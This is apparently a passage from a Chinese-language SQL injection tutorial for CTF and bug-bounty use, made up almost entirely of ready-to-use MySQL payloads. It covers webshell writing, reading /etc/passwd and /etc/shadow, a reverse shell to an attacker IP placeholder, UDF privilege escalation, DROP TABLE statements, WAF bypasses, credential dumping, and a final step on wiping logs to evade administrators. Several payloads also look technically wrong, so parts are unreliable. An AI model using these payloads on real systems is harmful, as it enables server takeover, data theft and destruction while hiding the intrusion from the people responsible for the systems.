?id=1'; SELECT '<?php eval($_POST[cmd]);?>'; -- 日志写入木马
-- 3. 关闭日志(隐藏痕迹)
?id=1'; SET GLOBAL general_log = 'OFF'; -- 

-- 方法3:利用堆叠注入修改my.cnf(需root权限,重启MySQL生效)
?id=1'; INSERT INTO mysql.server VALUES('','/var/www/html','','','',''); -- 修改配置,放宽路径限制

2. 绕过文件路径/文件名过滤

场景:WAF过滤网站根目录路径(如/var/www/html)、.php后缀,用以下方法绕过:


-- 1. 路径绕过(编码+拼接)
-- 十六进制编码路径
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE UNHEX('2f7661722f7777772f68746d6c2f7368656c6c2e706870') -- 编码后为/var/www/html/shell.php
-- 路径拼接(绕过完整路径过滤)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE CONCAT('/var/www/','html/shell.php') -- 

-- 2. 后缀绕过(伪装合法后缀,后续修改)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.txt' -- 写入txt后缀
-- 堆叠注入修改后缀(Linux)
?id=1'; SYSTEM mv /var/www/html/shell.txt /var/www/html/shell.php; -- 
-- 堆叠注入修改后缀(Windows)
?id=1'; SYSTEM ren C:/xampp/htdocs/shell.txt shell.php; -- 

-- 3. 特殊文件名绕过(避免被WAF检测)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/.shell.php' -- 隐藏文件(Linux)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php.bak' -- 备份文件,部分服务器可解析

3. 高效文件读写联动(实战重点)


-- 1. 读取数据库配置文件,获取账号密码,再写入后门
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/var/www/html/config.php') INTO OUTFILE '/var/www/html/config_bak.txt' -- 读取配置
?id=1' UNION ALL SELECT 1,1,'<?php $conn=mysqli_connect("localhost","root","123456","test");?>' INTO OUTFILE '/var/www/html/conn_back.php' -- 写入带数据库连接的后门

-- 2. 读取系统密码文件,写入可执行脚本,提权
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/html/passwd.txt' -- 读取密码
?id=1' UNION ALL SELECT 1,1,'#!/bin/bash\ncat /etc/shadow' INTO OUTFILE '/var/www/html/get_shadow.sh' -- 写入提权脚本
?id=1'; SYSTEM chmod 777 /var/www/html/get_shadow.sh; -- 赋予执行权限
?id=1'; SYSTEM sh /var/www/html/get_shadow.sh > /var/www/html/shadow.txt; -- 执行脚本,读取影子文件

-- 3. 写入反弹shell脚本,控制服务器(Linux)
?id=1' UNION ALL SELECT 1,1,'bash -i >& /dev/tcp/攻击机IP/端口 0>&1' INTO OUTFILE '/var/www/html/reverse.sh' -- 写入反弹脚本
?id=1'; SYSTEM chmod 777 /var/www/html/reverse.sh; -- 赋予权限
?id=1'; SYSTEM sh /var/www/html/reverse.sh; -- 执行反弹

4. 权限提升:无FILE权限如何突破

场景:当前用户无FILE权限,无法直接读写文件,通过以下方法提升权限后利用:


-- 方法1:堆叠注入创建高权限用户,赋予FILE权限
?id=1'; CREATE USER 'file_user'@'localhost' IDENTIFIED BY '123456'; -- 创建用户
?id=1'; GRANT FILE ON *.* TO 'file_user'@'localhost'; -- 赋予FILE权限
?id=1'; FLUSH PRIVILEGES; -- 刷新权限
-- 切换该用户连接数据库,执行文件读写操作

-- 方法2:利用UDF提权(MySQL 5.1-5.7,需root权限)
-- 1. 写入UDF文件到MySQL插件目录(先查询插件目录)
?id=1' UNION ALL SELECT 1,1,@@plugin_dir; -- 查询插件目录(如/usr/lib/mysql/plugin/)
-- 2. 写入UDF文件(二进制文件,需对应MySQL版本)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/tmp/udf.dll') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll'; -- 
-- 3. 创建函数,获取系统权限,开启FILE权限
?id=1'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; -- 创建执行命令函数
?id=1'; SELECT sys_eval('chmod 777 /var/www/html'); -- 赋予路径可写权限
?id=1'; SELECT sys_eval('mysql -u root -p123456 -e "GRANT FILE ON *.* TO current_user()"'); -- 赋予当前用户FILE权限

避坑注意事项

  • 路径问题:Windows路径用反斜杠\,但SQL中需转义为\(如C:\xampp\htdocs),或直接用正斜杠/(MySQL兼容);

  • 文件覆盖:OUTFILE/DUMPFILE无法覆盖已有文件,需先删除目标文件(用堆叠注入+DELETE/rm命令);

  • 权限判断:无FILE权限时,切勿强行执行读写操作,需先通过权限查询函数(如TABLE_PRIV)判断权限;

  • 痕迹隐藏:实战中,写入Webshell、执行命令后,需删除日志文件、脚本文件,避免被管理员发现;

  • 编码适配:中文路径、特殊字符路径,需用HEX+UNHEX编码,避免语法错误。

九、盲注语法(无回显、无报错,核心必背)

核心用途:页面无数据回显、无SQL错误提示(仅返回正常/异常页面,或无任何差异),通过构造条件判断语句,逐字符猜解目标数据(库名、表名、敏感信息),是最灵活也最考验耐心的注入手法。

重点掌握2种基础盲注(布尔盲注、时间盲注),补充进阶盲注技巧(绕过过滤、提升效率),覆盖所有无回显场景。

1. 布尔盲注(页面有正常/异常差异,最常用)

核心原理

利用SQL的布尔逻辑(AND/OR),构造「条件判断语句」,根据页面返回结果(正常/空白、登录成功/失败),判断条件是否成立,逐字符猜解数据。

关键前提:页面会根据SQL查询结果的True/False,呈现可区分的差异(如正常显示内容/空白页面、返回200状态码/404状态码)。

必背猜解流程(从易到难,实战模板)


-- 第一步:判断当前数据库名长度(用LENGTH函数)
?id=1' AND LENGTH(database())=4 -- 页面正常→长度为4;异常→长度≠4,依次尝试1、2、3...

-- 第二步:逐字符猜解当前数据库名(用SUBSTR+ASCII函数)
?id=1' AND ASCII(SUBSTR(database(),1,1))=116 -- 猜解第1个字符ASCII码为116(t),正常→正确;异常→错误
?id=1' AND ASCII(SUBSTR(database(),2,1))=101 -- 猜解第2个字符(e),依次类推,直到猜完所有字符

-- 第三步:猜解当前库下的表名(结合information_schema)
-- 先猜解表名数量
?id=1' AND (SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database())=3 -- 表数量为3
-- 再猜解第一个表名长度
?id=1' AND LENGTH((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1))=5 -- 第一个表名长度为5
-- 逐字符猜解第一个表名
?id=1' AND ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1),1,1))=117 -- 第一个字符为u(users表)

-- 第四步:猜解表下的字段名(以users表为例)
?id=1' AND LENGTH((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='users' LIMIT 0,1))=8 -- 第一个字段长度为8(username)
?id=1' AND ASCII(SUBSTR((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='users' LIMIT 0,1),1,1))=117 -- 第一个字符为u

-- 第五步:猜解敏感数据(以username=admin的password为例)
?id=1' AND EXISTS(SELECT * FROM users WHERE username='admin') -- 判断admin账号是否存在
?id=1' AND LENGTH((SELECT password FROM users WHERE username='admin' LIMIT 0,1))=32 -- 密码长度为32(MD5加密)
?id=1' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=48 -- 密码第一个字符ASCII为48(0)

进阶布尔盲注技巧(提升效率+绕过过滤)


-- 1. 用LIKE/REGEXP模糊猜解,减少请求次数(替代逐字符ASCII)
?id=1' AND database() LIKE 't%' -- 库名以t开头
?id=1' AND database() LIKE 'te%' -- 库名前两位为te
?id=1' AND (SELECT password FROM users WHERE username='admin') REGEXP '^[0-9a-f]' -- 密码以0-9/a-f开头(MD5特征)

-- 2. 用INSTR函数替代SUBSTR+ASCII,绕过函数过滤
?id=1' AND INSTR(database(),'test')>0 -- 库名包含test字符
?id=1' AND INSTR((SELECT password FROM users WHERE username='admin'),'e')=5 -- 密码第5个字符为e

-- 3. 用替代函数绕过过滤(如SUBSTR→LEFT/RIGHT,ASCII→ORD)
?id=1' AND ORD(LEFT(database(),1))=116 -- 等价于ASCII(SUBSTR(database(),1,1))=116
?id=1' AND CHAR_LENGTH(database())=4 -- 等价于LENGTH(database())=4(无中文时)

-- 4. 用CASE WHEN构造条件,适配页面无明显差异场景
?id=1' AND CASE WHEN ASCII(SUBSTR(database(),1,1))=116 THEN 1 ELSE 2 END=1 -- 条件成立返回1(页面正常),否则返回2(页面异常)

2. 时间盲注(页面无任何差异,保底手法)

核心原理

利用时间函数(SLEEP()),构造「条件判断+延迟执行」语句:若条件成立,执行延迟函数(页面延迟响应,如延迟5秒);若条件不成立,不延迟,通过响应时间判断条件是否成立,逐字符猜解数据。

关键前提:页面无任何差异(无论SQL条件True/False,页面显示一致),但服务器响应时间可区分。

必背猜解流程(与布尔盲注一致,替换条件判断)


-- 第一步:测试延迟是否生效(验证注入点)
?id=1' AND SLEEP(5) -- 页面延迟5秒响应→注入点有效;无延迟→无效(需换延迟函数)
?id=1' AND IF(1=1,SLEEP(5),1) -- 条件成立,延迟5秒(验证IF+SLEEP可用)

-- 第二步:判断当前数据库名长度
?id=1' AND IF(LENGTH(database())=4,SLEEP(5),1) -- 长度为4→延迟5秒;否则不延迟

-- 第三步:逐字符猜解当前数据库名
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),1) -- 第1个字符为t→延迟5秒
?id=1' AND IF(ASCII(SUBSTR(database(),2,1))=101,SLEEP(5),1) -- 第2个字符为e→延迟5秒

-- 第四步:猜解表名、字段名、敏感数据(与布尔盲注逻辑一致,替换为IF+SLEEP)
?id=1' AND IF(EXISTS(SELECT * FROM users WHERE username='admin'),SLEEP(5),1) -- admin账号存在→延迟5秒
?id=1' AND IF(ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=48,SLEEP(5),1) -- 密码第一个字符为0→延迟5秒

进阶时间盲注技巧(绕过过滤+稳定猜解)


-- 1. 延迟函数替代(SLEEP被过滤时)
-- 用BENCHMARK替代(执行指定次数的函数,模拟延迟)
?id=1' AND BENCHMARK(10000000,MD5('test')) -- 执行1000万次MD5,造成延迟(次数越多,延迟越久)
-- 用GET_LOCK替代(MySQL专属,锁定资源造成延迟)
?id=1' AND GET_LOCK('test',5) -- 锁定test资源5秒,等价于延迟5秒

-- 2. 条件判断替代(IF被过滤时)
?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR(database(),1,1))=116 THEN SLEEP(5) ELSE 1 END) -- 用CASE WHEN替代IF
?id=1' AND (ASCII(SUBSTR(database(),1,1))=116 AND SLEEP(5)) -- 用AND连接,条件成立才执行SLEEP

-- 3. 绕过WAF对延迟函数的拦截(注释+变形)
?id=1' AND S/**/LEEP(5) -- 注释穿插,绕过SLEEP过滤
?id=1' AND /*!SLEEP*/(5) -- 内联注释,MySQL执行,WAF忽略
?id=1' AND SLEEP(5)/*comment*/ -- 注释后缀,绕过关键字检测

-- 4. 稳定猜解(避免网络波动影响判断)
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),SLEEP(0.1)) -- 条件不成立也延迟0.1秒,对比差异更准确
?id=1' AND IF(LENGTH(database())=4,SLEEP(6),SLEEP(1)) -- 加大延迟差值,减少误判

盲注避坑注意事项(必记)

  • 布尔盲注:务必先确认页面有「可区分的差异」,否则无法判断条件对错;

  • 时间盲注:避免网络波动导致误判,建议多次测试,或加大延迟差值(如条件成立延迟5秒,不成立延迟0.1秒);

  • 函数过滤:若多个核心函数(SUBSTR、ASCII、SLEEP)被过滤,优先使用替代函数组合,再尝试注释绕过;

  • 效率优化:优先用模糊猜解(LIKE/REGEXP)减少请求次数,盲注量大时可结合工具(如SQLMap)自动化猜解;

  • 权限限制:低权限用户可能无法访问information_schema,需用猜解表名、字段名的方式(如常见表名users、admin,字段名username、password)。

十、注入绕过技巧(实战必备,全覆盖)

核心用途:实战中,WAF、代码过滤(如关键字拦截、特殊字符转义)会阻止注入语句执行,需掌握各类绕过技巧,适配不同过滤场景,确保注入成功。

按「过滤类型」分类,每个场景对应具体绕过方法+实战示例,可直接套用。

1. 关键字过滤绕过(最常见,如UNION、SELECT、WHERE)

核心方法(5种,必背)


-- 方法1:大小写混淆(绕过全小写/全大写过滤)
?id=1' UnIoN AlL SeLeCt 1,2,3 -- 混合大小写,MySQL不区分大小写
?id=1' WHeRe 1=1 -- 关键字WHERE变形

-- 方法2:注释穿插(//、/**/、--+等,拆分关键字)
?id=1' U/**/NION A/**/LL S/**/ELECT 1,database(),3 -- 用/**/拆分UNION、SELECT
?id=1' S--+ELECT 1,2,3 -- 用--+拆分SELECT,换行注释也可(%0a)
?id=1' /*!SELEC*/T 1,2,3 -- 内联注释拆分关键字,MySQL执行完整SELECT

-- 方法3:关键字替换/同义词(绕过精确匹配过滤)
-- SELECT替代:用DISTINCT、ALL(如SELECT→DISTINCT)
?id=1' UNION ALL DISTINCT 1,database(),3 -- 等价于UNION ALL SELECT
-- WHERE替代:用HAVING(需配合GROUP BY)
?id=1' GROUP BY id HAVING 1=1 -- 等价于WHERE 1=1
-- AND/OR替代:用&&、||(MySQL兼容)
?id=1' AND 1=1 → ?id=1' && 1=1
?id=1' OR 1=1 → ?id=1' || 1=1

-- 方法4:内联注释(MySQL专属,绕过WAF拦截)
?id=1' /*!UNION ALL SELECT*/ 1,database(),3 -- 内联注释包裹关键字,WAF忽略,MySQL执行
?id=1' /*!50000UNION*/ ALL SELECT 1,2,3 -- 指定版本执行,低版本忽略,绕过版本检测WAF

-- 方法5:编码绕过(十六进制、BASE64,隐藏关键字)
?id=1' UNION ALL SELECT 1,UNHEX(6461746162617365),3 -- 6461746162617365是database()的十六进制
?id=1' AND EXTRACTVALUE(1,FROM_BASE64('dGVzdA==')) -- FROM_BASE64('dGVzdA==')=test,隐藏关键字

2. 特殊字符过滤绕过(单引号、双引号、分号、括号)

核心场景+绕过方法(必背)


-- 场景1:单引号(')被过滤(字符型注入闭合必备)
-- 方法1:用双引号替代(若注入点支持双引号闭合)
?id=1" OR "1"="1 -- 双引号闭合,替代单引号
-- 方法2:用十六进制编码(无需单引号包裹)
?id=1' UNION ALL SELECT 1,1,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x74657374 -- 0x74657374=test,无需单引号
-- 方法3:用CHAR()函数拼接(ASCII码拼接,替代单引号)
?id=1' UNION ALL SELECT 1,1,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=CHAR(116,101,115,116) -- CHAR(116,101,115,116)=test

-- 场景2:分号(;)被过滤(堆叠注入必备)
-- 方法1:用换行符%0a替代(MySQL支持换行分隔语句)
?id=1'%0aDROP TABLE users%0a-- 
-- 方法2:用空字符%00替代(截断SQL,执行下一条语句)
?id=1'%00DROP TABLE users-- 
-- 方法3:用内联注释包裹分号
?id=1'/*!;*/ DROP TABLE users-- 

-- 场景3:括号(())被过滤(函数调用、子查询必备)
-- 方法1:用关键字省略括号(部分函数可省略)
?id=1' AND SLEEP 5 -- 等价于SLEEP(5),部分MySQL版本支持
-- 方法2:用内联注释包裹括号
?id=1' AND SLEEP/*!(*)*/5 -- 包裹括号,绕过过滤
-- 方法3:用子查询替代括号内的条件
?id=1' AND (SELECT 1 FROM users) → ?id=1' AND EXISTS SELECT 1 FROM users

-- 场景4:空格被过滤(SQL语句分隔必备)
-- 方法1:用/**/替代空格
?id=1'UNION/**/ALL/**/SELECT 1,2,3-- 
-- 方法2:用特殊字符替代空格(%0a换行、%09制表符、%0b垂直制表符)
?id=1'UNION%0aALL%0aSELECT%0a1,2,3-- 
?id=1'UNION%09ALL%09SELECT%091,2,3-- 

3. 函数过滤绕过(如SLEEP、EXTRACTVALUE、LOAD_FILE)

核心方法:替代函数+变形(必学)


-- 1. 延迟函数替代(SLEEP被过滤)
-- SLEEP → BENCHMARK(执行多次函数模拟延迟)
?id=1' AND BENCHMARK(10000000,MD5('test')) -- 执行1000万次MD5,延迟几秒
-- SLEEP → GET_LOCK(锁定资源延迟)
?id=1' AND GET_LOCK('test',5) -- 锁定5秒,等价于SLEEP(5)

-- 2. 报错函数替代(EXTRACTVALUE/UPDATEXML被过滤)
-- 用FLOOR(RAND()*2)分组报错替代
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND()*2))x FROM information_schema.TABLES GROUP BY x)a) -- 
-- 用JOIN报错替代(无函数依赖)
?id=1' AND (SELECT 1 FROM (SELECT database() UNION SELECT 2)a JOIN (SELECT database() UNION SELECT 2)b ON a.1=b.1) -- 

-- 3. 文件读写函数替代(LOAD_FILE/INTO OUTFILE被过滤)
-- LOAD_FILE → LOAD_DATA INFILE(读取文件)
?id=1'; LOAD_DATA INFILE '/etc/passwd' INTO TABLE test.load_data; -- 读取文件到test.load_data表,再查询该表
-- INTO OUTFILE → INTO DUMPFILE(写入文件,无换行)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/shell.php' -- 

-- 4. 字符串函数替代(SUBSTR、ASCII被过滤)
-- SUBSTR → LEFT/RIGHT/SUBSTRING/MID
-- ASCII → ORD
-- LENGTH → CHAR_LENGTH
?id=1' AND ORD(LEFT(database(),1))=116 -- 等价于ASCII(SUBSTR(database(),1,1))=116

4. WAF拦截绕过(实战重点,全覆盖)

常见WAF类型+针对性绕过技巧


-- 1. 普通WAF(拦截关键字、特殊字符,无智能检测)
-- 绕过方法:大小写混淆+注释穿插+编码
?id=1' /*!UnIoN*/ A/**/LL S/**/ELECT 1,UNHEX(6461746162617365),3--+

-- 2. 智能WAF(检测注入逻辑,如UNION+SELECT组合)
-- 绕过方法:拆分注入语句+垃圾数据填充+变形
?id=1' UNION ALL SELECT 1,1,1 UNION ALL SELECT 1,database(),3 -- 插入垃圾查询,拆分组合
?id=1' /*!UNION*/ ALL /*!SELECT*/ 1,/*comment*/database(),3 -- 插入无关注释,干扰检测
?id=1' OR 1=1 UNION ALL SELECT 1,2,3 -- 用恒真条件前缀,干扰WAF判断

-- 3. 版本检测WAF(只拦截特定MySQL版本的注入语句)
-- 绕过方法:内联注释指定版本+变形
?id=1' /*!50000UNION*/ ALL SELECT 1,2,3 -- 仅MySQL 5.0+执行,绕过低版本检测WAF
?id=1' /*!80000SELECT*/ database() -- 仅MySQL 8.0+执行,绕过高版本检测WAF

-- 4. 频率限制WAF(多次请求同一注入点,触发拦截)
-- 绕过方法:随机参数+延迟请求+代理IP
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(1),1) -- 每次请求延迟1秒,降低频率
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(1),SLEEP(0.5)) -- 随机延迟,干扰频率检测
-- 更换代理IP,避免单一IP被拉黑

-- 5. POST注入WAF(拦截POST参数中的注入语句)
-- 绕过方法:参数拆分+编码+Content-Type变形
-- 拆分参数:username=admin' OR '1'='1&password=123 → username=admin'&username= OR '1'='1&password=123
-- 编码参数:将注入语句转为BASE64/十六进制,提交后解码
-- 变形Content-Type:将POST请求的Content-Type改为multipart/form-data,部分WAF不检测

-- 6. URL编码WAF(拦截URL中的特殊字符,如'、"、;)
-- 绕过方法:双重URL编码+特殊编码
?id=1%2527 OR 1=1 -- %2527是'的双重URL编码(%27→%2527)
?id=1%00' OR 1=1 -- 用空字符%00,干扰编码检测
?id=1' --+%0aunion select 1,2,3 -- 换行+注释,干扰URL解析

WAF绕过通用技巧(必记)

  • 干扰检测:在注入语句中插入无关注释、垃圾数据,干扰WAF的注入逻辑检测;

  • 变形优先:优先使用MySQL兼容的变形语法(如&&替代AND、||替代OR),避免使用常见注入模板;

  • 编码结合:关键字、特殊字符用十六进制、BASE64编码,减少明文关键字暴露;

  • 低版本适配:针对低版本MySQL(5.0以下),避免使用information_schema,用猜解表名、字段名的方式注入;

  • 多注入点尝试:若GET参数被拦截,尝试POST参数、Cookie参数、HTTP头参数(如Referer、User-Agent)注入。

十一、实战注入流程(必背,CTF/SRC通用)

核心:从「注入点探测」到「敏感数据获取」,按步骤执行,避免遗漏关键环节,适配所有实战场景(有回显、无回显、有报错、无报错)。

步骤清晰,每一步对应具体操作+Payload模板,可直接套用。

第一步:探测注入点(关键前置,确定是否可注入)

核心:通过构造异常条件,判断参数是否可控、SQL语句是否可被篡改,确定注入点类型(数字型、字符型)。


-- 1. 数字型注入点探测(参数无引号包裹,如?id=1)
?id=1 AND 1=1 -- 页面正常→参数可控
?id=1 AND 1=2 -- 页面异常→存在数字型注入点
?id=1 ORDER BY 3 -- 正常;?id=1 ORDER BY 4 -- 报错→确定列数为3

-- 2. 字符型注入点探测(参数有单引号/双引号包裹,如?id=1)
?id=1' -- 页面报错(SQL语法错误)→ 单引号闭合
?id=1" -- 页面报错→ 双引号闭合
?id=1') -- 页面报错→ 单引号+括号闭合
?id=1' AND '1'='1 -- 页面正常;?id=1' AND '1'='2 -- 页面异常→ 存在字符型注入点

-- 3. 其他注入点探测(Cookie、POST、HTTP头)
-- Cookie注入:修改Cookie值为id=1' AND '1'='1,观察页面变化
-- POST注入:在表单参数(如username、password)中输入' OR '1'='1,观察登录结果
-- HTTP头注入:在Referer、User-Agent中插入' AND '1'='1,观察页面变化

-- 4. 注入点有效性验证(避免误判)
?id=1' UNION ALL SELECT 1,2,3--+ -- 有回显→ 验证有效
?id=1' AND SLEEP(5)--+ -- 延迟5秒→ 验证有效
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))--+ -- 报错带出库名→ 验证有效

第二步:判断注入场景(确定注入手法)

核心:根据页面反馈,判断场景,选择最优注入手法(效率优先)。


-- 场景1:有数据回显(页面显示查询结果,如用户名、ID)→ 优先用联合查询(UNION ALL)
?id=1' UNION ALL SELECT 1,database(),version()--+ -- 直接回显库名、版本

-- 场景2:无回显,但有SQL报错(页面显示错误信息)→ 优先用报错注入(EXTRACTVALUE、FLOOR)
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))--+ -- 报错带出库名

-- 场景3:无回显、无报错(页面仅显示正常/异常,无其他反馈)→ 优先用布尔盲注
?id=1' AND LENGTH(database())=4--+ -- 页面正常→ 库名长度为4

-- 场景4:无回显、无报错、页面无差异→ 保底用时间盲注
?id=1' AND IF(LENGTH(database())=4,SLEEP(5),1)--+ -- 延迟5秒→ 库名长度为4

-- 场景5:注入点支持分号,数据库驱动支持多语句→ 用堆叠注入(高危,高效)
?id=1'; SELECT database() INTO OUTFILE '/var/www/html/info.txt';--+ -- 写入库名到文件

第三步:获取核心信息(库、表、字段,脱库前置)

核心:无论哪种场景,先获取数据库基础信息,再逐步深入,避免盲目猜解。


-- 1. 获取基础信息(所有场景通用)
-- 当前库名
?id=1' UNION ALL SELECT 1,database(),3--+ -- 有回显
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))--+ -- 报错
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),1)--+ -- 时间盲注

-- 数据库版本、当前用户、存储目录
?id=1' UNION ALL SELECT 1,version(),user()--+
?id=1' UNION ALL SELECT 1,@@datadir,@@version_compile_os--+

-- 2. 获取所有库名(有回显/报错场景)
?id=1' UNION ALL SELECT 1,1,SCHEMA_NAME FROM information_schema.SCHEMATA--+ -- 有回显
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA),0x7e))--+ -- 报错(长数据分段)

-- 3. 获取指定库下的表名(以当前库为例)
?id=1' UNION ALL SELECT 1,1,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()--+ -- 有回显
?id=1' AND IF(ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1),1,1))=117,SLEEP(5),1)--+ -- 时间盲注

-- 4. 获取指定表下的字段名(以users表为例)
?id=1' UNION ALL SELECT 1,1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='users'--+ -- 有回显
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='users'),0x7e))--+ -- 报错

第四步:获取敏感数据(核心目标,如账号密码)

核心:根据字段信息,针对性获取敏感数据,优先获取管理员账号密码、数据库配置等。


-- 1. 有回显场景(高效获取)
-- 获取users表中所有账号密码(拼接显示)
?id=1' UNION ALL SELECT 1,username,password FROM users--+
-- 批量获取,避免分页
?id=1' UNION ALL SELECT 1,1,GROUP_CONCAT(username,':',password) FROM users--+

-- 2. 报错场景(长数据分段获取)
-- 获取admin账号密码(分段读取,避免32位限制)
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,30),0x7e))--+ -- 前30位
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),31,60),0x7e))--+ -- 31-60位
-- 无长度限制(用FLOOR报错)
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users WHERE username='admin' LIMIT 0,1),FLOOR(RAND()*2))x FROM information_schema.COLUMNS GROUP BY x)a)--+

-- 3. 盲注场景(逐字符猜解)
-- 布尔盲注获取admin密码
?id=1' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=48--+ -- 第1个字符为0
?id=1' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),2,1))=97--+ -- 第2个字符为a
-- 时间盲注获取admin密码
?id=1' AND IF(ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=48,SLEEP(5),1)--+

-- 4. 高权限场景(写入文件,持久化获取)
?id=1' UNION ALL SELECT 1,1,GROUP_CONCAT(username,':',password) INTO OUTFILE '/var/www/html/password.txt'--+ -- 写入账号密码到文件

第五步:高权限利用(可选,进阶目标)

核心:若当前用户为高权限(如root),可进一步接管数据库、服务器,扩大攻击范围。


-- 1. 数据库接管(创建高权限用户、授权)
?id=1'; CREATE USER 'hacker'@'localhost' IDENTIFIED BY '123456';--+
?id=1'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'localhost' WITH GRANT OPTION;--+
?id=1'; FLUSH PRIVILEGES;--+ -- 刷新权限,用新用户登录数据库

-- 2. 服务器接管(写入Webshell、执行系统命令)
-- 写入一句话Webshell
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+
-- 执行系统命令(需root权限+特殊配置)
?id=1'; SYSTEM ls /var/www/html;--+ -- 查看网站目录
?id=1'; SYSTEM cat /etc/passwd;--+ -- 读取系统密码文件
-- 反弹shell,控制服务器
?id=1'; SELECT 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1' INTO OUTFILE '/var/www/html/reverse.sh';--+
?id=1'; SYSTEM chmod 777 /var/www/html/reverse.sh;--+
?id=1'; SYSTEM sh /var/www/html/reverse.sh;--+

-- 3. 权限提升(无高权限时)
-- UDF提权(MySQL 5.1-5.7)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/tmp/udf.dll') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';--+
?id=1'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';--+
?id=1'; SELECT sys_eval('sudo su');--+ -- 提升为root权限
-- 日志提权(通用)
?id=1'; SET GLOBAL general_log=ON; SET GLOBAL general_log_file='/var/www/html/root.sh';--+
?id=1'; SELECT '#!/bin/bash\nchmod 777 /etc/sudoers';--+
?id=1'; SYSTEM sh /var/www/html/root.sh;--+

第六步:清理痕迹(实战必备,避免被发现)

核心:删除注入过程中生成的文件、日志、新用户,隐藏攻击痕迹。


-- 1. 删除生成的文件(Webshell、敏感信息文件)
?id=1'; DELETE FROM mysql.server WHERE host='';--+ -- 删除配置修改痕迹
?id=1'; SYSTEM rm /var/www/html/shell.php;--+ -- 删除Webshell
?id=1'; SYSTEM rm /var/www/html/password.txt;--+ -- 删除敏感信息文件

-- 2. 清理MySQL日志
?id=1'; SET GLOBAL general_log=OFF;--+ -- 关闭通用日志
?id=1'; SET GLOBAL general_log_file='/var/log/mysql/general.log';--+ -- 恢复日志路径
?id=1'; SYSTEM echo "" > /var/log/mysql/general.log;--+ -- 清空日志内容

-- 3. 删除创建的高权限用户
?id=1'; DROP USER 'hacker'@'localhost';--+
?id=1'; FLUSH PRIVILEGES;--+

-- 4. 清理系统命令执行痕迹
?id=1'; SYSTEM rm /var/www/html/reverse.sh;--+ -- 删除反弹脚本
?id=1'; SYSTEM echo "" > /var/log/bash.log;--+ -- 清空bash日志

实战避坑总结(必记)

  • 优先选高效手法:有回显用联合查询,有报错用报错注入,无回显再用盲注(盲注效率最低);

  • 权限判断优先:每一步操作前,先判断当前用户权限,避免无权限操作导致注入失败;

  • 绕过灵活运用:遇到WAF拦截,不要死磕一种方法,优先尝试大小写+注释+编码组合;

← SQL注入手工检测流程 五大主流数据库基础特性对比 →